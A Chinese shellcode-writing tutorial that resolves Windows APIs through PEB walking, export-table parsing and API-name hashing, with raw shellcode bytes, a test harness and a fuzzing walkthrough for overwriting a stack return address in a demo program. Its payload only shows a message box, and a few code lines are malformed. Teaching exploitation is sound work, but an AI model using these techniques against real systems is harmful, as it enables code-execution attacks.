我们在上一节课中所写的shellcode,其中使用到的相关的API是通过写入其内存地址来实现调用。这种方法具有局限性,如切换其他的操作系统API的内存地址就会发生变化,从而无法正常调用。
所谓的shellcode不过是在目标程序中加一个区段使得程序可以执行我们自己的代码。但在这个实现的过程中,存在一个问题:我们无法知晓目标程序中是否包含我们自己的代码中所使用的一些函数的相关库。如果没有相关库的话,也就无法在我们的代码中使用相关函数。为保险起见,我们需要自己加载相关的动态链接库。但由于我们并不清楚目标程序中包含了哪些头文件,因此也无法使用LoadLibrary加载动态链接库。因此我们便需要动态寻找函数地址,从而实现加载动态链接库,进而实现我们自己的代码书写
为了解决这个问题,我们需要学习如何动态寻找函数地址
常见的dll
我们日常中常常使用到的dll文件有以下三种:
1.Kernel32.dll:封装了所有进程内存管理相关的API。
2.user32.dll:窗口程序专用,封装了所有跟窗口操作相关的API
3.ntdll.dll:ring0的大门,无论是kernel32.dll还是user32.dll中的API最终都会去调用ntdll.dll中的API
其中动态调用API需要使用Kernel32.dll
TEB
TEB:线程环境块,实际上就是一个保存了线程中的各种信息的结构体。
typedef struct _TEB
{
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, * PTEB;
我们从直观上看这个结构体,并不能获取什么有用的信息。但当我们从字节单位上看,可以看出来该结构体有这么两个重要的成员,它们分别指向了一个结构体:
typedef struct _TEB
{
+0x00 :_NT_TIB NtTib;//线程信息块
+0x30:_PEB* PPEB;
} TEB, * PTEB;
首先我们了解_NT_TIB结构体:
typedef struct _NT_TIB
{
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;//用于操作系统的windows的异常处理机制,大量用于反调试程序
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union {
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;//该指针指向了自己本身
} NT_TIB;
PEB的查找
通过NtCurrentTeb()我们可以获取TEB的指针
现在我们开始观察NtCurrentTeb的内部实现,如下图所示:
通过观察可以发现FS寄存器中存放的就是TEB结构体的首地址,由此得出FS:[0X30]==PEB的指针,这样我们也就可以通过TEB获取PEB了
PEB
从TEB中,我们发现了一个指向PEB结构体的指针,而PEB叫做进程环境块,其存放了进程相关信息。我们本节课要学习的动态调用API所需要的相关信息就存放在PEB中
接下来我们只介绍PEB中有用的成员:
struct _PEB
{
+0x00c :_PEB_LDR_DATA* Ldr;//当dll文件加载后会Ldr会存放模块相关信息。
}
其中 _PEB_LDR_DATA结构体有用的成员如下:
struct _PEB_LDR_DATA
{
+0x000 :Uint length;
+0x004 :Uchar initialized;
+0x008 :LVOID SsHandle;
+0x00c :_LIST_ENTRY InloadOrderMoudleList;//载入顺序排序的dll
+0x014 :_LIST_ENTRY InMemoryOrderMoudleList;//内存排序的dll
+0x01c :_LIST_ENTRY InitalizationOrderMoudleList;//初始化排序的dll。其中排序通常为ntdll,kernel32.dll或者kernerbase.dll
//三个_LIST_ENTRY中所有的dll都一样,只是排列顺序不同
}
其中_LIST_ENTRY结构体如下:
struct _LIST_ENTRY
{
_LIST_ENTRY *Flink;//下一个结构体指针
_LIST_ENTRY *Blink;//上一个机构体指针
}
通过_LIST_ENTRY双向链表可以遍历所有模块。_PEB_LDR_DATA结构体中InloadOrderMoudleList和InMemoryOrderMoudleList会因为各种情况导致排序顺序发生变化,而第InitalizationOrderMoudleList的排列顺序则不会发生变化。因此我们动态寻找函数地址时使用的是InitalizationOrderMoudleList,其指向了第一个dll
值得注意的是,_LIST_ENTRY是一个结构体,但它是一个被包含在_LDR_DATA_TABLE_ENTRY结构体中的结构体。这个_LDR_DATA_TABLE_ENTRY结构体存储了对应模块的相关信息。因此我们通过_LIST_ENTRY便可以找到了_LDR_DATA_TABLE_ENTRY结构体,自然也就找到了要寻找的模块的信息了
_LDR_DATA_TABLE_ENTRY结构体如下,其中我们利用InitalizationOrderMoudleList正是该结构体的第三个成员
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderMoudleList;
LIST_ENTRY InMemoryOrderMoudleList;
LIST_ENTRY InInitializationOrderMoudleList;
PVOID DllBase;//模块基址,从而可以找到导出表,如kernel32.dll中的LoadLibraryA和GetProcAdrress
PVOID EntryPoint;
PVOID SizeOfImage;
PVOID FullDllName;
.....
}
通过该结构体,我们便可以找到相应模块的信息了
汇编查找kernel32
//FS存储着TEB的起始地址
mov esi,FS:[0x30]//PEB地址
mov esi,[esi+0xc]//Ldr地址
mov esi,[esi+0x1c]//指向第一个InitalizationOrderMoudleList
mov esi,[esi]//指向第二个dll,即kernel32.dll文件信息。通过该dll文件,我们可以实现动态查找函数地址的功能
当我们找到kernel32模块后,就可以通过其导入表找到LoadLibraryA和GetProcAdrress函数从而调用任意API
优化shellcode
接下来我们将优化上一篇shellcode的实现,具体有以下几个步骤:
1.保存相关字符串,如:user32.dll、LoadLibraryA、GetProcAddress、MessageBoxA、hello world
2.通过fs寄存器获取kernel32.dll基址
Mov esi,fs:[0x30]//获取PEB
Mov esi,[esi+0xc]//获取LDR结构体地址
Mov esi,[esi+0x1c]//InInitializationOrderMoudleList
Mov esi,[esi]//InInitializationOrderMoudleList第二项,即kernel32.dll
Mov ecx,[esi,+0x8]//获取kernel32.dll基址
3.获取导出表,根据导出表查找需要的函数
MyGetProcAddress(imageBase,funName,strlen)
ImageBase + 0x3C = NT头
NT头 + 0x78 = dataDirectory第一项,即导出表数据目录
导出函数地址表 = 导出表 + 0x1c
导出函数名称表 = 导出表 + 0X20
导出函数序号表 = 导出表 + 0x24
获取三张表以后,funName同导出函数名称表内容进行比较,获取比对成功的索引值。之后通过索引值获取导出函数序号表对应的序号,即导出函数地址表中对应的索引。之后根据索引值获取导出函数地址表中函数地址
4、字符串比较函数
由于我们并不清楚目标进程是否存在strcmp(),因此我们需要自己实现该API
strcmp是通过逐字节比对从而实现字符串比较功能,因此当我们汇编实现stcmp时,也需要使用循环指令
实现该API的关键在于Repe cmpsb指令。该指令通过按字节进行比较的方式比较edi与esi存储的地址上的值,之后通过DF标志位的值决定edi和esi地址的更新,然后exc - 1。当ecx为0或者esi和edi比较结果不相同时,停止DF循环,然后设置ZF标志位
现在我们简单的实现strcmp的功能:
_asm
{
//比较字符串获取API
xor eax, eax; //用于循环计数
cld;;//将strcmp所用的DF标志位置零
jmp tag_begincmp;
tag_cmpLoop:
inc eax;//循环计数加一
tag_begincmp:
mov esi, [ebp - 0x8];//导出函数名称表VA
mov esi, [esi + eax * 4];//第一个名称RVA
mov edx, [ebp + 0x8]; //函数名称字符串VA
lea esi, [edx + esi]; // 要查找的目标函数名称
mov edi, [ebp + 0xc];//循环次数
mov ecx, [ebp + 0x10];//字符串长度
repe cmpsb;
jne tag_cmpLoop;
//如果相等的话,eax是数组索引
mov esi, [ebp - 0xc];//导出函数序号表VA
xor edi, edi;//将edi高位清零
mov di, [esi + eax * 2];//导出函数序号表索引
mov ebx, [ebp - 0x4];//导出函数地址表VA
mov ebx, [ebx + edi * 4]; ];//获取目标函数RVA
mov edx, [ebp + 0x8];//保存dll基址
lea eax, [edx + ebx];//获取目标函数VA
}
5、payload函数:通过调用以上各个功能实现输出hello51hook
保存字符串
通过010editor我们可以获取字符串的十六进制数据,如下所示:
__asm
{
//user32.dll:75 73 65 72 33 32 2E 64 6C 6C 00
//LoadLibraryA:4C 6F 61 64 4C 69 62 72 61 72 79 41 00
//GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00
//MessageBoxA:4D 65 73 73 61 67 65 42 6F 78 41 00
//hello world:68 65 6C 6C 6F 20 77 6F 72 6C 64 00
//保存字符串
pushad;
sub esp, 0x2F;//提升栈空间
push 0x646C72;
push 0x6F77206F;
push 0x6c6c6568;
push 0x41786f;
push 0x42656761;
push 0x7373654d;
mov byte ptr ds : [esp - 1] , 0x0;
sub esp, 0x1;
mov ax, 0x6c6c;
mov word ptr ds : [esp - 2] , ax;
sub esp, 0x2;
push 0x642e3233;
push 0x72657375;
mov byte ptr ds : [esp - 1] , 0x0;
sub esp, 0x1;
mov ax, 0x7373;
mov word ptr ds : [esp - 2] , ax;
sub esp, 0x2;
push 0x65726464;
push 0x41636f72;
push 0x50746547;
mov byte ptr ds : [esp - 1] , 0x0;
sub esp, 0x1;
push 0x41797261;
push 0x7262694c;
push 0x64616f4c;
mov ecx, esp;
push ecx;
call fun_payload;
}
获取kernel32.dll基址
__asm
{
//获取kernel32.dll基址
fun_getmodule:;
push ebp;
mov ebp, esp;
sub esp, 0xc;
push ecx;
mov esi, dword ptr fs : [0x30] ;//PEB指针
mov esi, [esi + 0xc];//LDR结构体地址
mov esi, [esi + 0x1c];//InInitializationOrderMoudleList
mov esi, [esi];//InInitializationOrderMoudleList的第二项,即kernel32
mov eax, [esi + 0x8];//kernel32基址
pop ecx;
mov esp, ebp;
pop ebp;
retn;
}
获取函数地址
__asm
{
//获取函数地址
fun_getProcAddr:
push ebp;
mov ebp, esp;
sub esp, 0x10;
push ecx;
push edx;
push esi;
push edi;
//获取导出表
mov edx, [ebp + 0x8];//参数dllbase
mov esi, [edx + 0x3c];//elf_anew
lea esi, [edx + esi];//NT头
mov esi, [esi + 0x78];//导出表RVA
lea esi, [edx + esi];// 导出表VA
mov edi, [esi + 0x1c];//导出函数地址表RVA
lea edi, [edx + edi];//导出函数地址表VA
mov[ebp - 0x4], edi;
mov edi, [esi + 0x20];//导出函数名称表VA
lea edi, [edx + edi];//导出函数序号表RVA
mov[ebp - 0x8], edi;
mov edi, [esi + 0x24];//导出函数序号表RVA
lea edi, [edx + edi];//导出函数序号表VA
mov[ebp - 0xc], edi;
//比较字符串获取API
xor eax, eax; //用于循环计数
cld;;//将strcmp所用的DF标志位置零
jmp tag_begincmp;
tag_cmpLoop:
inc eax;//循环计数加一
tag_begincmp:
mov esi, [ebp - 0x8];//导出函数名称表VA
mov esi, [esi + eax * 4];//第一个名称RVA
mov edx, [ebp + 0x8]; //函数名称字符串VA
lea esi, [edx + esi]; // 要查找的目标函数名称
mov edi, [ebp + 0xc];//循环次数
mov ecx, [ebp + 0x10];//字符串长度
repe cmpsb;
jne tag_cmpLoop;
//如果相等的话,eax是数组索引
mov esi, [ebp - 0xc];//导出函数序号表VA
xor edi, edi;//将edi高位清零
mov di, [esi + eax * 2];//导出函数序号表索引
mov ebx, [ebp - 0x4];//导出函数地址表VA
mov ebx, [ebx + edi * 4]; ];//获取目标函数RVA
mov edx, [ebp + 0x8];//保存dll基址
lea eax, [edx + ebx];//获取目标函数VA
pop edi;
pop esi;
pop edx;
pop ecx;
mov esp, ebp;
pop ebp;
retn 0x10;
}
调用函数
__asm
{
fun_payload:
push ebp;
mov ebp, esp;
sub esp, 0x20;
push ecx;
push edx;
push esi;
push edi;
call fun_getmodule;
mov[ebp - 0x4], eax;//DLLBASE
//获取LoadLiabraryA
push 0xD;
mov ecx, [ebp + 0x8];//第一个参数
push ecx;
push eax;
call fun_getProcAddr;
mov[ebp - 0x8], eax;//LoadLibraryA
//获取GetProcessAddr
push 0xF;
mov ecx, [ebp + 0x8];//第一个参数
lea ecx, [ecx + 0xd];
push ecx;//字符串首地址
mov edx, [ebp - 0x4];
push edx;//dllbase
call fun_getProcAddr;
mov[ebp - 0xc], eax;//保存GetProcessAddr
//调用LoadLibraryA加载user32.dll
mov ecx, [ebp + 0x8];//第一个参数
lea ecx, [ecx + 0x1c];//user32.dll字符串地址
push ecx;
call[ebp - 0x8];//调用LoadLibraryA获取user32.dll
mov[ebp - 0x10], eax;//user32.dllbase
//调用GetProcAddress,获取MessageBoxA地址
mov ecx, [ebp + 0x8];
lea ecx, [ecx + 0x27];
push ecx;
push[ebp - 0x10];
call[ebp - 0xc];//call GetProcessAddr
//输出hello world
push 0;
push 0;
mov ebx, [ebp + 0x8];
lea ebx, [ebx + 0x33];
push ebx;
push 0;
call eax;
pop edi;
pop esi;
pop edx;
pop ecx;
mov esp, ebp;
pop ebp;
retn 0x4;
}
代码汇总
#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{
__asm
{
//user32.dll:75 73 65 72 33 32 2E 64 6C 6C 00
//LoadLibraryA:4C 6F 61 64 4C 69 62 72 61 72 79 41 00
//GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00
//MessageBoxA:4D 65 73 73 61 67 65 42 6F 78 41 00
//hello world:68 65 6C 6C 6F 20 77 6F 72 6C 64 00
//保存字符串
pushad;
sub esp, 0x2F;//提升栈空间
push 0x646C72;
push 0x6F77206F;
push 0x6c6c6568;
push 0x41786f;
push 0x42656761;
push 0x7373654d;
mov byte ptr ds : [esp - 1] , 0x0;
sub esp, 0x1;
mov ax, 0x6c6c;
mov word ptr ds : [esp - 2] , ax;
sub esp, 0x2;
push 0x642e3233;
push 0x72657375;
mov byte ptr ds : [esp - 1] , 0x0;
sub esp, 0x1;
mov ax, 0x7373;
mov word ptr ds : [esp - 2] , ax;
sub esp, 0x2;
push 0x65726464;
push 0x41636f72;
push 0x50746547;
mov byte ptr ds : [esp - 1] , 0x0;
sub esp, 0x1;
push 0x41797261;
push 0x7262694c;
push 0x64616f4c;
mov ecx, esp;
push ecx;
call fun_payload;
//获取kernel32.dll基址
fun_getmodule:;
push ebp;
mov ebp, esp;
sub esp, 0xc;
push ecx;
mov esi, dword ptr fs : [0x30] ;//PEB指针
mov esi, [esi + 0xc];//LDR结构体地址
mov esi, [esi + 0x1c];//InInitializationOrderMoudleList
mov esi, [esi];//InInitializationOrderMoudleList的第二项,即kernel32
mov eax, [esi + 0x8];//kernel32基址
pop ecx;
mov esp, ebp;
pop ebp;
retn;
//获取函数地址
fun_getProcAddr:
push ebp;
mov ebp, esp;
sub esp, 0x10;
push ecx;
push edx;
push esi;
push edi;
//获取导出表
mov edx, [ebp + 0x8];//参数dllbase
mov esi, [edx + 0x3c];//elf_anew
lea esi, [edx + esi];//NT头
mov esi, [esi + 0x78];//导出表RVA
lea esi, [edx + esi];// 导出表VA
mov edi, [esi + 0x1c];//导出函数地址表RVA
lea edi, [edx + edi];//导出函数地址表VA
mov[ebp - 0x4], edi;
mov edi, [esi + 0x20];//导出函数名称表VA
lea edi, [edx + edi];//导出函数序号表RVA
mov[ebp - 0x8], edi;
mov edi, [esi + 0x24];//导出函数序号表RVA
lea edi, [edx + edi];//导出函数序号表VA
mov[ebp - 0xc], edi;
//比较字符串获取API
xor eax, eax; //用于循环计数
cld;;//将strcmp所用的DF标志位置零
jmp tag_begincmp;
tag_cmpLoop:
inc eax;//循环计数加一
tag_begincmp:
mov esi, [ebp - 0x8];//导出函数名称表VA
mov esi, [esi + eax * 4];//第一个名称RVA
mov edx, [ebp + 0x8]; //函数名称字符串VA
lea esi, [edx + esi]; // 要查找的目标函数名称
mov edi, [ebp + 0xc];//循环次数
mov ecx, [ebp + 0x10];//字符串长度
repe cmpsb;
jne tag_cmpLoop;
//如果相等的话,eax是数组索引
mov esi, [ebp - 0xc];//导出函数序号表VA
xor edi, edi;//将edi高位清零
mov di, [esi + eax * 2];//导出函数序号表索引
mov ebx, [ebp - 0x4];//导出函数地址表VA
mov ebx, [ebx + edi * 4]; ];//获取目标函数RVA
mov edx, [ebp + 0x8];//保存dll基址
lea eax, [edx + ebx];//获取目标函数VA
pop edi;
pop esi;
pop edx;
pop ecx;
mov esp, ebp;
pop ebp;
retn 0x10;
fun_payload:
push ebp;
mov ebp, esp;
sub esp, 0x20;
push ecx;
push edx;
push esi;
push edi;
call fun_getmodule;
mov[ebp - 0x4], eax;//DLLBASE
//获取LoadLiabraryA
push 0xD;
mov ecx, [ebp + 0x8];//第一个参数
push ecx;
push eax;
call fun_getProcAddr;
mov[ebp - 0x8], eax;//LoadLibraryA
//获取GetProcessAddr
push 0xF;
mov ecx, [ebp + 0x8];//第一个参数
lea ecx, [ecx + 0xd];
push ecx;//字符串首地址
mov edx, [ebp - 0x4];
push edx;//dllbase
call fun_getProcAddr;
mov[ebp - 0xc], eax;//保存GetProcessAddr
//调用LoadLibraryA加载user32.dll
mov ecx, [ebp + 0x8];//第一个参数
lea ecx, [ecx + 0x1c];//user32.dll字符串地址
push ecx;
call[ebp - 0x8];//调用LoadLibraryA获取user32.dll
mov[ebp - 0x10], eax;//user32.dllbase
//调用GetProcAddress,获取MessageBoxA地址
mov ecx, [ebp + 0x8];
lea ecx, [ecx + 0x27];
push ecx;
push[ebp - 0x10];
call[ebp - 0xc];//call GetProcessAddr
//输出hello world
push 0;
push 0;
mov ebx, [ebp + 0x8];
lea ebx, [ebx + 0x33];
push ebx;
push 0;
call eax;
pop edi;
pop esi;
pop edx;
pop ecx;
mov esp, ebp;
pop ebp;
retn 0x4;
}
}
int main()
{
shellCode();
return 0;
}
调试shellcode
将上述汇编代码利用x32dbg可以获取其硬编码,如下所示:
"\x60\x83\xEC\x30\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xFC\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8D\x34\x32\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xEC\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x62\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\x50\xE8\x73\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x62\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x89\x45\xEC\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\x55\xEC\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00"
当我们写完shellcode以后,通常需要调试shellcode以判断书写是否正确
调试方法如下:
一.修改项目属性:
二.书写调试代码:
#include<windows.h>
#include<stdio.h>
char shellcode[] = "\x60\x83\xEC\x30\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xFC\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8D\x34\x32\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xEC\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x62\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\x50\xE8\x73\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x62\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x89\x45\xEC\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\x55\xEC\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00";
int main()
{
__asm
{
lea eax, shellcode;
push eax;
retn;
}
return 0;
}
三.利用x32dbg调试即可
模糊测试
当我们编写并调试完毕shellcode时,便需要寻找程序的漏洞所在处,将shellcode插入进去了。
以我们学习的栈溢出漏洞为例,通常一个程序的栈空间是很大的,因此我们并不容易定位到栈溢出点。为了方便定位到栈溢出点,我们通常需要使用模糊测试
现在我们以上一节课的栈溢出漏洞的程序进行演示:
1.为了寻找栈溢出点,我们可以在password.txt中写入一堆的1:
然后运行程序,很显然程序会因为栈溢出而崩掉
2.通过Windows自带的计算机管理,我们可以找到该程序错误点,如下图所示
可以发现,Windows为我们提供了错误的详细信息:通过错误偏移量我们可以发现在内存中错误发生处的十六进制数据,正是我们所写的password.txt中的一堆1。
但是password.txt中都是1,我们很难去辨别到底栈溢出点是在哪,因此我们需要针对的去进行修改这些1,通常的方法是写一堆有规律的数据,如下所示:
我们将password.txt进行修改,然后运行程序使其再次崩坏,然后依上文的方式再次寻找错误发生点,如下图所示:
我们通过错误偏移量便可找到栈溢出的点,由于内存小端序,所以实际的错误偏移量为0x45344535。
通过010editor,可以发现溢出点所在处,如下图所示:password.txt中E4E5数据处
如图可知,password.txt中E4E5数据处正是栈溢出的位置,即淹没函数返回地址的位置。我们现在只需在栈溢出点处修改数据为我们的shellcode地址即可。
修改方法同上一节方法一致,通过jmp esp指令跳转到shellcode执行处即可,此处不再赘述
最终的shellcode如下所示:
至此我们便通过模糊测试实现了shellcode的插入了
再次运行程序,正常弹窗:
shellcode瘦身
我们在上文所写的shellcode,仅仅只用了几个API的字符串就产生了那么多的数据,这会造成栈空间的巨大浪费。在很多攻击环境下,对于我们的shellcode的大小是有严格限制的,因此我们需要学习如何去将shellcode瘦身以减少栈空间的浪费。
在上文的shellcode中,我们实现一个hello world的弹窗使用了以下字符串:LoadLibraryA,GetProcAddress,MessageBoxA,user32.dll,Hello world。无论字符串长度是多大,当我们通过对字符串进行加密或编码时,其长度最终只会是四个字节。而这四个字节,称之为哈希值。每个字符串的哈希值都不一样,而且该值也没有0的出现,避免字符串截断
如下所示便是我们编码字符串的一种算法,Hash算法:
DWORD getHashCode(char *strname)
{
DWORD digest = 0;
while (*strname)
{
digest = (digest<<25 | digest>>7);
digest = digest + *strname;
strname++;
}
return digest;
}
通过该算法,我么可以将字符串缩减为四字节大小
接下来我们针对该算法实现汇编代码
汇编代码实现
__asm
{
push ebp;
mov ebp, esp;
sub esp, 0X4;//用于存放digest
push ecx;
push edx;
push ebx;
mov dword ptr[ebp - 0x4], 0;//初始化digest
mov esi, [ebp + 0x8];//保存函数参数strname
xor ecx, ecx;
tag_hashLoop:
xor eax, eax;//初始化循环次数
mov al, [esi + ecx];
test al, al;//判断循环条件
jz tag_end;
mov ebx, [ebp - 0x4];//保存digest
shl ebx, 0x19;//digest << 25
mov edx, [ebp - 0x4];//保存digest
shr edx, 0x7;//digest >> 7
or ebx, edx;//digest << 25 | digest >> 7
add ebx, eax;//digest = digest + *strname;
mov[ebp - 0x4], ebx;//保存digest
inc ecx;//strname++;
jmp tag_hashLoop;
tag_end:
mov eax, [ebp - 0x4];//保存返回值
pop ebx;
pop edx;
pop ecx;
mov esp, ebp;
pop ebp;
retn 0x4;//跳过函数参数,平衡堆栈
}
当我们实现完编码函数以后,就可以通过函数获取每个字符串对应的四字节数据,进而取代字符串。在后续导出表比对API时,只需要将相关的API进行编码运算,然后在比对四字节数据就可以找到对应的API了。这样虽然会使目标程序的运行时间变长,但shellcode的长度会变短很多
shellcode成品
接下来我们将字符串编码的汇编代码插入我们的shellcode中
#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{
__asm
{
//user32.dll 75 73 65 72 33 32 2E 64 6C 6C 00 长度:0xB
//hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00 长度:0xD
// kernel32.dll 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00
//ExitProcess哈希值:0x4FD18963
// LoadLibraryA哈希值:0XC917432
//GetProcAddress哈希值:0XBBAFDF85
// MessageBoxA哈希值:0x1E380A6A
//1.保存字符串信息
pushad
sub esp, 0x30
//kenerl32.dll
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
push 0x6C6C642E
push 0x32336C65
push 0x6E72656B
//hello 51hook 字符串
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
push 0x6B6F6F68
push 0x3135206F
push 0x6c6c6568
//user32.dll 字符串
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
mov ax, 0x6c6c
mov word ptr ds : [esp - 2] , ax
sub esp, 0x2
push 0x642e3233
push 0x72657375
mov ecx, esp
push ecx
call fun_payload
//popad
//2.获取模块基址
fun_GetModule:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword ptr fs : [0x30]//PEB指针
mov esi, [esi + 0xc]//LDR结构体地址
mov esi, [esi + 0x1c]//list
mov esi, [esi]//list的第二项 kernel32
mov esi, [esi + 0x8]//dllbase
mov eax, esi
pop esi
mov esp, ebp
pop ebp
retn
//查找API函数:
fun_GetProcAddr :
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx
mov edx, [ebp + 0X8]//dllbase
mov esi, [edx + 0x3c]//lf_anew
lea esi, [edx + esi]//Nt头
mov esi, [esi + 0x78]//导出表RVA
lea esi, [edx + esi]//导出表VA
mov edi, [esi + 0x1c]//EAT RVA
lea edi, [edx + edi]//EAT VA
mov[ebp - 0x4], edi//eatva
mov edi, [esi + 0x20]//ENT RVA
lea edi, [edx + edi]//ENT va
mov[ebp - 0x8], edi//ENTVA
mov edi, [esi + 0x24]//EOT RVA
lea edi, [edx + edi]//
mov[ebp - 0xc], edi//EOTVA
//比较字符串获取API
xor eax, eax
xor ebx, ebx
cld
jmp tag_cmpfirst
tag_cmpLoop :
inc ebx
tag_cmpfirst :
mov esi, [ebp - 0x8]//ENT
mov esi, [esi + ebx * 4]//RVA
lea esi, [edx + esi]//函数名称字符串地址
mov edi, [ebp + 0xc]//要查找的目标函数名称哈希值
push esi//传参
call fun_hashCode//对ENT表函数名称进行编码
cmp eax, edi//哈希值比较
jne tag_cmpLoop
mov esi, [ebp - 0xc]//eot
xor edi, edi//为了不影响结果清空edi
mov di, [esi + ebx * 2]//eat表索引
mov edx, [ebp - 0x4]//eat
mov esi, [edx + edi * 4]//函数地址rva
mov edx, [ebp + 0x8]//dllbase
lea eax, [edx + esi]//funaddr va
pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0x8
//hashCode部分
fun_hashCode:
push ebp
mov ebp, esp
sub esp, 0X4
push ecx
push edx
push ebx
mov dword ptr[ebp - 0x4], 0
mov esi, [ebp + 0x8]
xor ecx, ecx
tag_hashLoop :
xor eax, eax
mov al, [esi + ecx]
test al, al
jz tag_end
mov ebx, [ebp - 0x4]
shl ebx, 0x19
mov edx, [ebp - 0x4]
shr edx, 0x7
or ebx, edx
add ebx, eax
mov[ebp - 0x4], ebx
inc ecx//ecx++
jmp tag_hashLoop
tag_end :
mov eax, [ebp - 0x4]
pop ebx
pop edx
pop ecx
